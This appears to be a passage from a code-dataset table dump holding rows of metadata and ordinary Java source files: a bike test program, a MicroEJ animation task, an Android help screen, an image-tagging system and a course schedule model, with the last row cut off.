blob_id
stringlengths 40
40
| __id__
int64 225
39,780B
| directory_id
stringlengths 40
40
| path
stringlengths 6
313
| content_id
stringlengths 40
40
| detected_licenses
list | license_type
stringclasses 2
values | repo_name
stringlengths 6
132
| repo_url
stringlengths 25
151
| snapshot_id
stringlengths 40
40
| revision_id
stringlengths 40
40
| branch_name
stringlengths 4
70
| visit_date
timestamp[ns] | revision_date
timestamp[ns] | committer_date
timestamp[ns] | github_id
int64 7.28k
689M
⌀ | star_events_count
int64 0
131k
| fork_events_count
int64 0
48k
| gha_license_id
stringclasses 23
values | gha_fork
bool 2
classes | gha_event_created_at
timestamp[ns] | gha_created_at
timestamp[ns] | gha_updated_at
timestamp[ns] | gha_pushed_at
timestamp[ns] | gha_size
int64 0
40.4M
⌀ | gha_stargazers_count
int32 0
112k
⌀ | gha_forks_count
int32 0
39.4k
⌀ | gha_open_issues_count
int32 0
11k
⌀ | gha_language
stringlengths 1
21
⌀ | gha_archived
bool 2
classes | gha_disabled
bool 1
class | content
stringlengths 7
4.37M
| src_encoding
stringlengths 3
16
| language
stringclasses 1
value | length_bytes
int64 7
4.37M
| extension
stringclasses 24
values | filename
stringlengths 4
174
| language_id
stringclasses 1
value | entities
list | contaminating_dataset
stringclasses 0
values | malware_signatures
list | redacted_content
stringlengths 7
4.37M
| redacted_length_bytes
int64 7
4.37M
| alphanum_fraction
float32 0.25
0.94
| alpha_fraction
float32 0.25
0.94
| num_lines
int32 1
84k
| avg_line_length
float32 0.76
99.9
| std_line_length
float32 0
220
| max_line_length
int32 5
998
| is_vendor
bool 2
classes | is_generated
bool 1
class | max_hex_length
int32 0
319
| hex_fraction
float32 0
0.38
| max_unicode_length
int32 0
408
| unicode_fraction
float32 0
0.36
| max_base64_length
int32 0
506
| base64_fraction
float32 0
0.5
| avg_csv_sep_count
float32 0
4
| is_autogen_header
bool 1
class | is_empty_html
bool 1
class | shard
stringclasses 16
values |
---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
1f73ef958033834ae4430744b907bc013e1e238c | 6,914,897,350,449 | 83aba7b3dfd1d8423016bbd5d50aa68a24455c8c | /Assignment-3/InheritanceAbstactClasses/src/TestBike.java | 359a30c2b33fa13731de89b7ad52c75da88d473c | []
| no_license | sagaryvk/AssignmentsWork | https://github.com/sagaryvk/AssignmentsWork | 60df1e3cd7ae15578bf151e2f9b5423e5168829b | 7c17837ce5bfb945b9c223e10a70687807ecb954 | refs/heads/master | 2021-08-30T13:10:30.026000 | 2017-12-18T04:14:34 | 2017-12-18T04:14:34 | 111,736,174 | 0 | 0 | null | null | null | null | null | null | null | null | null | null | null | null | null | import java.util.Scanner;
public class TestBike {
public static void main (String args[])
{
MountainBike b1 = null;
RoadBike b2 = null;
TandemBike b3 = null;
boolean con = true;
do
{
Scanner sc = new Scanner (System.in);
System.out.println("Press 1 for MountainBike"+"\n"+"Press 2 Road Bike"+"\n"+"Press 3 for tandem Bike"+"\n"+"Press 4 for exit");
int number = sc.nextInt();
if(number == 1)
{
b1 = new MountainBike("Hercules",150.25f,1,15,60,2);
b1.displayValues();
b1.currentSpeed();
b1.currentSpeed(8);
b1.currentGear(b1.speed);
b1.climbGear(4);
b1.currentPedalCadence();
MountainBike.mirrors("Circular");
b1.additionalChainRing();
b1.decelerationTime(5);
b1.speedIncrement(7);
b1.applyBrakes(6);
System.out.println("The distance travelled by the bike is "+ b1.distanceTravelled(20)+" K.m.s");
}
else if(number == 2)
{
b2 = new RoadBike("Hero",140f,1,12,80,3);
b2.displayValues();
b2.currentSpeed();
b2.currentSpeed(10);
b2.currentGear(b2.speed);
b2.currentPedalCadence();
RoadBike.mirrors("square");
b2.dropHandleBars();
b2.decelerationTime(8);
b2.speedIncrement(5);
b2.applyBrakes(10);
System.out.println("The distance travelled by the bike is "+ b2.distanceTravelled(20)+" K.m.s");
}
else if(number == 3)
{
b3 = new TandemBike("Honda",200f,2,25,75,3);
b3.displayValues();
b3.currentSpeed();
b3.currentSpeed(10);
b3.currentGear(b3.speed);
b3.currentPedalCadence();
TandemBike.mirrors("circular");
b3.handleBars();
TandemBike.mirrorSize1 =26;
b3.decelerationTime(4);
b3.speedIncrement(5);
b3.applyBrakes(15);
System.out.println("The distance travelled by the bike is "+ b3.distanceTravelled(10)+" K.m.s");
}
else if(number == 4)
{
con = false;
}
else
{
System.out.println("Please enter valid number");
}
}
while(con);
}
}
| UTF-8 | Java | 2,050 | java | TestBike.java | Java | []
| null | []
| import java.util.Scanner;
public class TestBike {
public static void main (String args[])
{
MountainBike b1 = null;
RoadBike b2 = null;
TandemBike b3 = null;
boolean con = true;
do
{
Scanner sc = new Scanner (System.in);
System.out.println("Press 1 for MountainBike"+"\n"+"Press 2 Road Bike"+"\n"+"Press 3 for tandem Bike"+"\n"+"Press 4 for exit");
int number = sc.nextInt();
if(number == 1)
{
b1 = new MountainBike("Hercules",150.25f,1,15,60,2);
b1.displayValues();
b1.currentSpeed();
b1.currentSpeed(8);
b1.currentGear(b1.speed);
b1.climbGear(4);
b1.currentPedalCadence();
MountainBike.mirrors("Circular");
b1.additionalChainRing();
b1.decelerationTime(5);
b1.speedIncrement(7);
b1.applyBrakes(6);
System.out.println("The distance travelled by the bike is "+ b1.distanceTravelled(20)+" K.m.s");
}
else if(number == 2)
{
b2 = new RoadBike("Hero",140f,1,12,80,3);
b2.displayValues();
b2.currentSpeed();
b2.currentSpeed(10);
b2.currentGear(b2.speed);
b2.currentPedalCadence();
RoadBike.mirrors("square");
b2.dropHandleBars();
b2.decelerationTime(8);
b2.speedIncrement(5);
b2.applyBrakes(10);
System.out.println("The distance travelled by the bike is "+ b2.distanceTravelled(20)+" K.m.s");
}
else if(number == 3)
{
b3 = new TandemBike("Honda",200f,2,25,75,3);
b3.displayValues();
b3.currentSpeed();
b3.currentSpeed(10);
b3.currentGear(b3.speed);
b3.currentPedalCadence();
TandemBike.mirrors("circular");
b3.handleBars();
TandemBike.mirrorSize1 =26;
b3.decelerationTime(4);
b3.speedIncrement(5);
b3.applyBrakes(15);
System.out.println("The distance travelled by the bike is "+ b3.distanceTravelled(10)+" K.m.s");
}
else if(number == 4)
{
con = false;
}
else
{
System.out.println("Please enter valid number");
}
}
while(con);
}
}
| 2,050 | 0.606829 | 0.556585 | 87 | 22.563219 | 23.064976 | 131 | false | false | 0 | 0 | 0 | 0 | 0 | 0 | 2.402299 | false | false | 14 |
a497988b6dda00a0fe88474674c89907bbe9f09d | 1,511,828,535,273 | 36f98be2c811178d85a8f1f2e9279730fc995211 | /microui.movableimage/src/main/java/com/microej/example/foundation/microui/movableimage/ImagesAnimation.java | 5c70d5260f7aa4738fa1ec08e5d6568583b3d160 | [
"BSD-3-Clause"
]
| permissive | MicroEJ/Example-Standalone-Foundation-Libraries | https://github.com/MicroEJ/Example-Standalone-Foundation-Libraries | 31a8101beef8093a81731409a2c1861702a3057c | 69deda3f6297f8a57916c124444e8bc331fb6601 | refs/heads/master | 2023-07-20T01:48:44.500000 | 2023-07-18T13:10:00 | 2023-07-18T13:10:00 | 62,054,088 | 6 | 10 | NOASSERTION | false | 2022-11-01T14:12:02 | 2016-06-27T12:20:36 | 2022-05-01T03:25:26 | 2020-12-17T17:24:09 | 566 | 7 | 4 | 1 | Java | false | false | /*
* Copyright 2014-2020 MicroEJ Corp. All rights reserved.
* Use of this source code is governed by a BSD-style license that can be found with this software.
*/
package com.microej.example.foundation.microui.movableimage;
import java.util.Vector;
import ej.bon.TimerTask;
public class ImagesAnimation extends TimerTask {
private final ImagesDisplayable displayable;
private final Vector<MovableImage> images;
public ImagesAnimation(ImagesDisplayable displayable, int initialCapacity) {
this.displayable = displayable;
this.images = new Vector<MovableImage>(initialCapacity);
}
public void addMovableImage(MovableImage image) {
images.add(image);
}
@Override
public void run() {
// move all images
Vector<MovableImage> images = this.images;
for(int i = images.size(); --i>=0;) {
images.get(i).move();
}
// show result
displayable.requestRender();
}
}
| UTF-8 | Java | 892 | java | ImagesAnimation.java | Java | []
| null | []
| /*
* Copyright 2014-2020 MicroEJ Corp. All rights reserved.
* Use of this source code is governed by a BSD-style license that can be found with this software.
*/
package com.microej.example.foundation.microui.movableimage;
import java.util.Vector;
import ej.bon.TimerTask;
public class ImagesAnimation extends TimerTask {
private final ImagesDisplayable displayable;
private final Vector<MovableImage> images;
public ImagesAnimation(ImagesDisplayable displayable, int initialCapacity) {
this.displayable = displayable;
this.images = new Vector<MovableImage>(initialCapacity);
}
public void addMovableImage(MovableImage image) {
images.add(image);
}
@Override
public void run() {
// move all images
Vector<MovableImage> images = this.images;
for(int i = images.size(); --i>=0;) {
images.get(i).move();
}
// show result
displayable.requestRender();
}
}
| 892 | 0.743274 | 0.733184 | 36 | 23.777779 | 25.293951 | 99 | false | false | 0 | 0 | 0 | 0 | 0 | 0 | 1.222222 | false | false | 14 |
78a952e0db8ea412d97ec3ad800c9b73df0d952f | 18,124,761,991,810 | acf51da83d9ed1f84dae13cb2a1c8bde21d4d9c0 | /OnePieceMatchIt/src/com/black_pearl/view/HelpActivity.java | 57b0b9c2ad2219b23bad4ce0df7ad0482757de9f | []
| no_license | humanrocker/android-match-it | https://github.com/humanrocker/android-match-it | 2119e422b9c2ec1e451061e5fc0c5a70b8b3249b | c721111dd12e84620a09ea14eb7eb35fad70a34e | refs/heads/master | 2016-03-28T06:06:34.884000 | 2011-07-04T08:38:53 | 2011-07-04T08:38:53 | 32,857,636 | 0 | 0 | null | null | null | null | null | null | null | null | null | null | null | null | null | package com.black_pearl.view;
import android.app.Activity;
import android.app.AlertDialog;
import android.content.Intent;
import android.os.Bundle;
import android.view.View;
import android.view.View.OnClickListener;
import android.widget.Button;
public class HelpActivity extends Activity implements OnClickListener {
// 声明各按钮
private Button bt1, bt2, bt3, bt4;
@Override
protected void onCreate(Bundle savedInstanceState) {
// TODO Auto-generated method stub
super.onCreate(savedInstanceState);
setContentView(R.layout.help);
bt1 = (Button) findViewById(R.id.bt1);
bt2 = (Button) findViewById(R.id.bt2);
bt3 = (Button) findViewById(R.id.bt3);
bt4 = (Button) findViewById(R.id.bt4);
bt1.setOnClickListener(this);
bt2.setOnClickListener(this);
bt3.setOnClickListener(this);
bt4.setOnClickListener(this);
}
@Override
public void onClick(View v) {
// TODO Auto-generated method stub
switch (v.getId()) {
// 游戏介绍对话框
case R.id.bt1:
new AlertDialog.Builder(this)
.setTitle("游戏介绍")
.setMessage(this.getString(R.string.game_infor))
.setPositiveButton("确定", null)
.show();
break;
// 游戏玩法对话框
case R.id.bt2:
new AlertDialog.Builder(this)
.setTitle("游戏玩法")
.setMessage(this.getString(R.string.game_method))
.setPositiveButton("确定", null)
.show();
break;
// 关于对话框
case R.id.bt3:
new AlertDialog.Builder(this)
.setTitle("关于")
.setMessage(this.getString(R.string.about))
.setPositiveButton("确定", null)
.show();
break;
// 返回主菜单
case R.id.bt4:
Intent intent = new Intent(HelpActivity.this,
MainMenuActivity.class);
startActivity(intent);
break;
}
}
}
| GB18030 | Java | 1,867 | java | HelpActivity.java | Java | []
| null | []
| package com.black_pearl.view;
import android.app.Activity;
import android.app.AlertDialog;
import android.content.Intent;
import android.os.Bundle;
import android.view.View;
import android.view.View.OnClickListener;
import android.widget.Button;
public class HelpActivity extends Activity implements OnClickListener {
// 声明各按钮
private Button bt1, bt2, bt3, bt4;
@Override
protected void onCreate(Bundle savedInstanceState) {
// TODO Auto-generated method stub
super.onCreate(savedInstanceState);
setContentView(R.layout.help);
bt1 = (Button) findViewById(R.id.bt1);
bt2 = (Button) findViewById(R.id.bt2);
bt3 = (Button) findViewById(R.id.bt3);
bt4 = (Button) findViewById(R.id.bt4);
bt1.setOnClickListener(this);
bt2.setOnClickListener(this);
bt3.setOnClickListener(this);
bt4.setOnClickListener(this);
}
@Override
public void onClick(View v) {
// TODO Auto-generated method stub
switch (v.getId()) {
// 游戏介绍对话框
case R.id.bt1:
new AlertDialog.Builder(this)
.setTitle("游戏介绍")
.setMessage(this.getString(R.string.game_infor))
.setPositiveButton("确定", null)
.show();
break;
// 游戏玩法对话框
case R.id.bt2:
new AlertDialog.Builder(this)
.setTitle("游戏玩法")
.setMessage(this.getString(R.string.game_method))
.setPositiveButton("确定", null)
.show();
break;
// 关于对话框
case R.id.bt3:
new AlertDialog.Builder(this)
.setTitle("关于")
.setMessage(this.getString(R.string.about))
.setPositiveButton("确定", null)
.show();
break;
// 返回主菜单
case R.id.bt4:
Intent intent = new Intent(HelpActivity.this,
MainMenuActivity.class);
startActivity(intent);
break;
}
}
}
| 1,867 | 0.661227 | 0.649972 | 91 | 17.527473 | 16.990845 | 71 | false | false | 0 | 0 | 0 | 0 | 0 | 0 | 1.736264 | false | false | 14 |
ee0950bda6e836db737523cca0f01482795c3891 | 18,571,438,601,602 | 1e7ec5fab2249b49e80127e6eba4c6990f9c8671 | /Visitor/src/NoteNoVisitor/AmazonNote.java | 9c04215ed08c66bb2b4beda4571990bd267aa316 | []
| no_license | IzaackLey/mtp-unaj | https://github.com/IzaackLey/mtp-unaj | 326cd223c81c677c075e0876dace3ee80d431414 | ce2e78b3ef951b5f29c8c6d8b04d777eb9967110 | refs/heads/master | 2016-09-05T19:05:54.828000 | 2015-05-04T10:30:17 | 2015-05-04T10:30:17 | 42,803,404 | 0 | 0 | null | null | null | null | null | null | null | null | null | null | null | null | null | package NoteNoVisitor;
public class AmazonNote{
public String title;
public String author;
public String isbn;
public double price;
public AmazonNote(String title, String author, String isbn, double price){
this.title = title;
this.author = author;
this.isbn = isbn;
this.price = price;
}
}
| UTF-8 | Java | 308 | java | AmazonNote.java | Java | [
{
"context": "uble price){\n\t\tthis.title = title;\n\t\tthis.author = author;\n\t\tthis.isbn = isbn;\n\t\tthis.price = price;\n\t}\n}\n",
"end": 259,
"score": 0.5819217562675476,
"start": 253,
"tag": "NAME",
"value": "author"
}
]
| null | []
| package NoteNoVisitor;
public class AmazonNote{
public String title;
public String author;
public String isbn;
public double price;
public AmazonNote(String title, String author, String isbn, double price){
this.title = title;
this.author = author;
this.isbn = isbn;
this.price = price;
}
}
| 308 | 0.730519 | 0.730519 | 15 | 19.533333 | 17.331539 | 75 | false | false | 0 | 0 | 0 | 0 | 0 | 0 | 1.8 | false | false | 14 |
fba54e423e681e443eb195bdf4c64e9a22d666e4 | 23,502,061,064,216 | a5a806ccdd542b31696cf4285dea5851eb6a0811 | /src/TaggerSystem/SystemMain.java | 2259e22e82c362a4adeaaee8ed1735397746243e | []
| no_license | chyr98/ImageTagger | https://github.com/chyr98/ImageTagger | 26323766a63b30f970d8f5c1fb09e209d7bfef53 | 39654b5b2f21af2609dd4c27f433c4777335fc94 | refs/heads/master | 2021-05-11T21:13:22.961000 | 2018-01-14T21:03:09 | 2018-01-14T21:03:09 | 117,464,270 | 0 | 0 | null | null | null | null | null | null | null | null | null | null | null | null | null | package TaggerSystem;
import java.io.*;
import java.time.LocalDateTime;
import java.util.ArrayList;
import java.util.logging.FileHandler;
import java.util.logging.Logger;
import java.util.logging.SimpleFormatter;
/**
* This is the class for all executions at the time the program is opened. It has the following
* responsibilities: 1) Store FileManager. 2) Store TaggerSystem.TagManager. 3) Read the information
* of files and generate a tree of Files and Folders.
*/
public class SystemMain {
public static FileManager fileManager;
public static TagManager tagManager;
private static FileHandler fileHandler;
private static Logger nameLog = Logger.getLogger("nameLog.txt");
private static String[] suffixes = {"jpg", "png", "JPG", "PNG"};
/**
* Creates a tree of folders related to the given directory and sub-directories in operating
* system and initializes a new TagManager and a new FileManager.
*
* @param rootPath the pathname string of root directory
*/
public static void reading(String rootPath) {
File rootFile = new File(rootPath);
// Read the information of files and generate a tree of Files and Folders.
tagManager = new TagManager(new ArrayList<>());
Folder rootFolder = createFolder(rootFile);
fileManager = new FileManager(rootFolder, rootPath);
}
/**
* Loads FileManager and TagManager from serialized file restored from previous running of this
* program.
*/
public static void loading() {
// read fileManager from file.
try {
FileInputStream fis = new FileInputStream("fileManager.ser");
ObjectInputStream ois = new ObjectInputStream(fis);
fileManager = (FileManager) ois.readObject();
} catch (IOException | ClassNotFoundException e) {
}
// read tagManager from file.
try {
FileInputStream fis = new FileInputStream("tagManager.ser");
ObjectInputStream ois = new ObjectInputStream(fis);
tagManager = (TagManager) ois.readObject();
} catch (IOException | ClassNotFoundException e) {
}
}
/**
* Saves FileManager and TagManger for future loading.
*/
public static void saving() {
// Save fileManager.
try {
// write object to file.
File fileManagerSerFile = new File("fileManager.ser");
// a new file will be created iff a file with this name does not yet exist.
fileManagerSerFile.createNewFile();
FileOutputStream fos = new FileOutputStream("fileManager.ser");
ObjectOutputStream oos = new ObjectOutputStream(fos);
oos.writeObject(fileManager);
oos.close();
} catch (IOException e) {
}
// Save TaggerSystem.TagManager.
try {
// write object to file.
File tagManagerSerFile = new File("tagManager.ser");
// a new file will be created iff a file with this name does not yet exist.
tagManagerSerFile.createNewFile();
FileOutputStream fos = new FileOutputStream("tagManager.ser");
ObjectOutputStream oos = new ObjectOutputStream(fos);
oos.writeObject(tagManager);
oos.close();
} catch (IOException e) {
}
}
/**
* Creates a tree of Folders from given abstract pathname (java.io.File).
*
* @param file the abstract pathname (java.io.File) of the root directory.
* @return rootFolder the root of Folder tree.
*/
private static Folder createFolder(File file) {
ArrayList<Folder> folderList = new ArrayList<>();
ArrayList<ImageFile> imageList = new ArrayList<>();
// Nothing will happen if the directory is empty.
for (File f : file.listFiles()) {
// Folder(String name, ArrayList<Folder> children, ArrayList<ImageFile> value)
if (f.isDirectory()) {
folderList.add(createFolder(f));
// So far we only add .jpg and .png files.
} else if (f.getName().matches(".*\\." + String.join("|.*\\.", suffixes))) {
String fileName = f.getName();
ArrayList<Tag> tempTags = new ArrayList<>();
String[] tagNames = fileName.split(" @");
if (tagNames.length > 1) {
for (int i = 1; i < tagNames.length - 1; i++) {
Tag tempTag = new Tag(tagNames[i].trim());
tagManager.addTag(tempTag);
tempTags.add(tempTag);
}
String lastTag = tagNames[tagNames.length - 1];
Tag tempTag = new Tag(lastTag.substring(0, lastTag.length() - 4));
tagManager.addTag(tempTag);
tempTags.add(tempTag);
fileName = tagNames[0].concat(fileName.substring(fileName.length() - 4));
}
imageList.add(new ImageFile(fileName, tempTags));
System.out.println(f.getPath());
}
}
return new Folder(file.getName(), folderList, imageList);
}
/**
* Logs the name change and time stamp to nameLog.txt
*
* @param oldName string of the previous name.
* @param newName string of the new name.
*/
public static void log(String oldName, String newName) {
// if fileHandler hasn't been created, create one and add to Logger.
if (fileHandler == null) {
try {
fileHandler = new FileHandler("nameLog.txt", true);
fileHandler.setFormatter(new SimpleFormatter());
nameLog.addHandler(fileHandler);
} catch (IOException e) {
e.printStackTrace();
}
}
// set message.
LocalDateTime currTime = LocalDateTime.now();
String msg = "Old: " + oldName + "; New: " + newName + ";";
nameLog.info(msg);
}
}
| UTF-8 | Java | 5,471 | java | SystemMain.java | Java | []
| null | []
| package TaggerSystem;
import java.io.*;
import java.time.LocalDateTime;
import java.util.ArrayList;
import java.util.logging.FileHandler;
import java.util.logging.Logger;
import java.util.logging.SimpleFormatter;
/**
* This is the class for all executions at the time the program is opened. It has the following
* responsibilities: 1) Store FileManager. 2) Store TaggerSystem.TagManager. 3) Read the information
* of files and generate a tree of Files and Folders.
*/
public class SystemMain {
public static FileManager fileManager;
public static TagManager tagManager;
private static FileHandler fileHandler;
private static Logger nameLog = Logger.getLogger("nameLog.txt");
private static String[] suffixes = {"jpg", "png", "JPG", "PNG"};
/**
* Creates a tree of folders related to the given directory and sub-directories in operating
* system and initializes a new TagManager and a new FileManager.
*
* @param rootPath the pathname string of root directory
*/
public static void reading(String rootPath) {
File rootFile = new File(rootPath);
// Read the information of files and generate a tree of Files and Folders.
tagManager = new TagManager(new ArrayList<>());
Folder rootFolder = createFolder(rootFile);
fileManager = new FileManager(rootFolder, rootPath);
}
/**
* Loads FileManager and TagManager from serialized file restored from previous running of this
* program.
*/
public static void loading() {
// read fileManager from file.
try {
FileInputStream fis = new FileInputStream("fileManager.ser");
ObjectInputStream ois = new ObjectInputStream(fis);
fileManager = (FileManager) ois.readObject();
} catch (IOException | ClassNotFoundException e) {
}
// read tagManager from file.
try {
FileInputStream fis = new FileInputStream("tagManager.ser");
ObjectInputStream ois = new ObjectInputStream(fis);
tagManager = (TagManager) ois.readObject();
} catch (IOException | ClassNotFoundException e) {
}
}
/**
* Saves FileManager and TagManger for future loading.
*/
public static void saving() {
// Save fileManager.
try {
// write object to file.
File fileManagerSerFile = new File("fileManager.ser");
// a new file will be created iff a file with this name does not yet exist.
fileManagerSerFile.createNewFile();
FileOutputStream fos = new FileOutputStream("fileManager.ser");
ObjectOutputStream oos = new ObjectOutputStream(fos);
oos.writeObject(fileManager);
oos.close();
} catch (IOException e) {
}
// Save TaggerSystem.TagManager.
try {
// write object to file.
File tagManagerSerFile = new File("tagManager.ser");
// a new file will be created iff a file with this name does not yet exist.
tagManagerSerFile.createNewFile();
FileOutputStream fos = new FileOutputStream("tagManager.ser");
ObjectOutputStream oos = new ObjectOutputStream(fos);
oos.writeObject(tagManager);
oos.close();
} catch (IOException e) {
}
}
/**
* Creates a tree of Folders from given abstract pathname (java.io.File).
*
* @param file the abstract pathname (java.io.File) of the root directory.
* @return rootFolder the root of Folder tree.
*/
private static Folder createFolder(File file) {
ArrayList<Folder> folderList = new ArrayList<>();
ArrayList<ImageFile> imageList = new ArrayList<>();
// Nothing will happen if the directory is empty.
for (File f : file.listFiles()) {
// Folder(String name, ArrayList<Folder> children, ArrayList<ImageFile> value)
if (f.isDirectory()) {
folderList.add(createFolder(f));
// So far we only add .jpg and .png files.
} else if (f.getName().matches(".*\\." + String.join("|.*\\.", suffixes))) {
String fileName = f.getName();
ArrayList<Tag> tempTags = new ArrayList<>();
String[] tagNames = fileName.split(" @");
if (tagNames.length > 1) {
for (int i = 1; i < tagNames.length - 1; i++) {
Tag tempTag = new Tag(tagNames[i].trim());
tagManager.addTag(tempTag);
tempTags.add(tempTag);
}
String lastTag = tagNames[tagNames.length - 1];
Tag tempTag = new Tag(lastTag.substring(0, lastTag.length() - 4));
tagManager.addTag(tempTag);
tempTags.add(tempTag);
fileName = tagNames[0].concat(fileName.substring(fileName.length() - 4));
}
imageList.add(new ImageFile(fileName, tempTags));
System.out.println(f.getPath());
}
}
return new Folder(file.getName(), folderList, imageList);
}
/**
* Logs the name change and time stamp to nameLog.txt
*
* @param oldName string of the previous name.
* @param newName string of the new name.
*/
public static void log(String oldName, String newName) {
// if fileHandler hasn't been created, create one and add to Logger.
if (fileHandler == null) {
try {
fileHandler = new FileHandler("nameLog.txt", true);
fileHandler.setFormatter(new SimpleFormatter());
nameLog.addHandler(fileHandler);
} catch (IOException e) {
e.printStackTrace();
}
}
// set message.
LocalDateTime currTime = LocalDateTime.now();
String msg = "Old: " + oldName + "; New: " + newName + ";";
nameLog.info(msg);
}
}
| 5,471 | 0.658563 | 0.656553 | 156 | 34.070515 | 26.582989 | 100 | false | false | 0 | 0 | 0 | 0 | 0 | 0 | 0.50641 | false | false | 14 |
a8478aedc5d49a4aab2d895c0e725c2701725012 | 23,089,744,195,874 | 74b241d469947512452cf1210588ce9c0c1a8b96 | /src/main/java/id/ac/unpar/siamodels/JadwalKuliah.java | 7325ff52a64dcf772ec5a7b771cf152ff4a54112 | [
"MIT"
]
| permissive | johanes97/SIAModels | https://github.com/johanes97/SIAModels | 3c20ce1670f99383e4e41f2fd180d3ee4461899f | 1a179305c4d135d3eecb13b9a797a3c11003beef | refs/heads/master | 2020-04-21T11:22:14.579000 | 2019-05-02T06:11:05 | 2019-05-02T06:11:05 | 167,295,079 | 1 | 0 | MIT | true | 2019-01-31T07:40:05 | 2019-01-24T03:17:33 | 2019-01-31T07:33:06 | 2019-01-31T07:39:04 | 211 | 1 | 0 | 2 | Java | false | null | package id.ac.unpar.siamodels;
import java.time.DayOfWeek;
import java.time.LocalTime;
public class JadwalKuliah {
protected MataKuliah mataKuliah;
protected Character kelas;
protected DayOfWeek hari;
protected LocalTime waktuMulai;
protected LocalTime waktuSelesai;
protected String lokasi;
protected Dosen pengajar;
/**
* Membuat jadwal kuliah baru
* @param mataKuliah mata kuliah yang dibuat jadwalnya
* @param kelas kelas kuliah atau null jika tidak tersedia
* @param pengajar nama pengajar
* @param hariString hari dalam Bahasa Indonesia (Senin, Selasa, ...)
* @param waktuString rentang waktu kuliah (08.00-09.00 atau 08:00-09:00)
* @param lokasi kode ruangan
*/
public JadwalKuliah(MataKuliah mataKuliah, Character kelas, Dosen pengajar, String hariString, String waktuString,
String lokasi) {
this.mataKuliah = mataKuliah;
this.kelas = kelas;
this.waktuMulai = LocalTime.parse(waktuString.substring(0, 5).replace('.', ':'));
this.waktuSelesai = LocalTime.parse(waktuString.substring(6, 11).replace('.', ':'));
this.lokasi = lokasi;
this.pengajar = pengajar;
this.hari = indonesianToDayOfWeek(hariString);
}
public JadwalKuliah() {
// void
}
public MataKuliah getMataKuliah() {
return mataKuliah;
}
public void setMataKuliah(MataKuliah mataKuliah) {
this.mataKuliah = mataKuliah;
}
public Character getKelas() {
return kelas;
}
public void setKelas(Character kelas) {
this.kelas = kelas;
}
public DayOfWeek getHari() {
return hari;
}
public void setHari(DayOfWeek hari) {
this.hari = hari;
}
public LocalTime getWaktuMulai() {
return waktuMulai;
}
public void setWaktuMulai(LocalTime waktuMulai) {
this.waktuMulai = waktuMulai;
}
public LocalTime getWaktuSelesai() {
return waktuSelesai;
}
public void setWaktuSelesai(LocalTime waktuSelesai) {
this.waktuSelesai = waktuSelesai;
}
public String getLokasi() {
return lokasi;
}
public void setLokasi(String lokasi) {
this.lokasi = lokasi;
}
public Dosen getPengajar() {
return pengajar;
}
public void setPengajar(Dosen pengajar) {
this.pengajar = pengajar;
}
public String getWaktuString() {
return waktuMulai + "-" + waktuSelesai;
}
/**
* Converts Indonesian day names to {@link DayOfWeek} enumeration.
* @param indonesian the day name in Indonesian
* @return {@link DayOfWeek} object or null if not found.
*/
public static DayOfWeek indonesianToDayOfWeek(String indonesian) {
switch (indonesian.toLowerCase()) {
case "senin":
return DayOfWeek.MONDAY;
case "selasa":
return DayOfWeek.TUESDAY;
case "rabu":
return DayOfWeek.WEDNESDAY;
case "kamis":
return DayOfWeek.THURSDAY;
case "jumat":
return DayOfWeek.FRIDAY;
case "sabtu":
return DayOfWeek.SATURDAY;
case "minggu":
return DayOfWeek.SUNDAY;
default:
return null;
}
}
}
| UTF-8 | Java | 2,861 | java | JadwalKuliah.java | Java | []
| null | []
| package id.ac.unpar.siamodels;
import java.time.DayOfWeek;
import java.time.LocalTime;
public class JadwalKuliah {
protected MataKuliah mataKuliah;
protected Character kelas;
protected DayOfWeek hari;
protected LocalTime waktuMulai;
protected LocalTime waktuSelesai;
protected String lokasi;
protected Dosen pengajar;
/**
* Membuat jadwal kuliah baru
* @param mataKuliah mata kuliah yang dibuat jadwalnya
* @param kelas kelas kuliah atau null jika tidak tersedia
* @param pengajar nama pengajar
* @param hariString hari dalam Bahasa Indonesia (Senin, Selasa, ...)
* @param waktuString rentang waktu kuliah (08.00-09.00 atau 08:00-09:00)
* @param lokasi kode ruangan
*/
public JadwalKuliah(MataKuliah mataKuliah, Character kelas, Dosen pengajar, String hariString, String waktuString,
String lokasi) {
this.mataKuliah = mataKuliah;
this.kelas = kelas;
this.waktuMulai = LocalTime.parse(waktuString.substring(0, 5).replace('.', ':'));
this.waktuSelesai = LocalTime.parse(waktuString.substring(6, 11).replace('.', ':'));
this.lokasi = lokasi;
this.pengajar = pengajar;
this.hari = indonesianToDayOfWeek(hariString);
}
public JadwalKuliah() {
// void
}
public MataKuliah getMataKuliah() {
return mataKuliah;
}
public void setMataKuliah(MataKuliah mataKuliah) {
this.mataKuliah = mataKuliah;
}
public Character getKelas() {
return kelas;
}
public void setKelas(Character kelas) {
this.kelas = kelas;
}
public DayOfWeek getHari() {
return hari;
}
public void setHari(DayOfWeek hari) {
this.hari = hari;
}
public LocalTime getWaktuMulai() {
return waktuMulai;
}
public void setWaktuMulai(LocalTime waktuMulai) {
this.waktuMulai = waktuMulai;
}
public LocalTime getWaktuSelesai() {
return waktuSelesai;
}
public void setWaktuSelesai(LocalTime waktuSelesai) {
this.waktuSelesai = waktuSelesai;
}
public String getLokasi() {
return lokasi;
}
public void setLokasi(String lokasi) {
this.lokasi = lokasi;
}
public Dosen getPengajar() {
return pengajar;
}
public void setPengajar(Dosen pengajar) {
this.pengajar = pengajar;
}
public String getWaktuString() {
return waktuMulai + "-" + waktuSelesai;
}
/**
* Converts Indonesian day names to {@link DayOfWeek} enumeration.
* @param indonesian the day name in Indonesian
* @return {@link DayOfWeek} object or null if not found.
*/
public static DayOfWeek indonesianToDayOfWeek(String indonesian) {
switch (indonesian.toLowerCase()) {
case "senin":
return DayOfWeek.MONDAY;
case "selasa":
return DayOfWeek.TUESDAY;
case "rabu":
return DayOfWeek.WEDNESDAY;
case "kamis":
return DayOfWeek.THURSDAY;
case "jumat":
return DayOfWeek.FRIDAY;
case "sabtu":
return DayOfWeek.SATURDAY;
case "minggu":
return DayOfWeek.SUNDAY;
default:
return null;
}
}
}
| 2,861 | 0.722824 | 0.715484 | 124 | 22.07258 | 21.519749 | 115 | false | false | 0 | 0 | 0 | 0 | 0 | 0 | 1.629032 | false | false | 14 |
d282ac37f25a81d55c854433b46f60f6f84bb402 | 1,099,511,656,525 | 9e42a27889193dfae18ee3144e370ad53d754a68 | /genusbar_android/genusbar_app/src/main/java/com/ecolab/mike/genusbar_app/base/BaseApplication.java | 8c497e6755890bdc8dae828af69f2bae3427243d | []
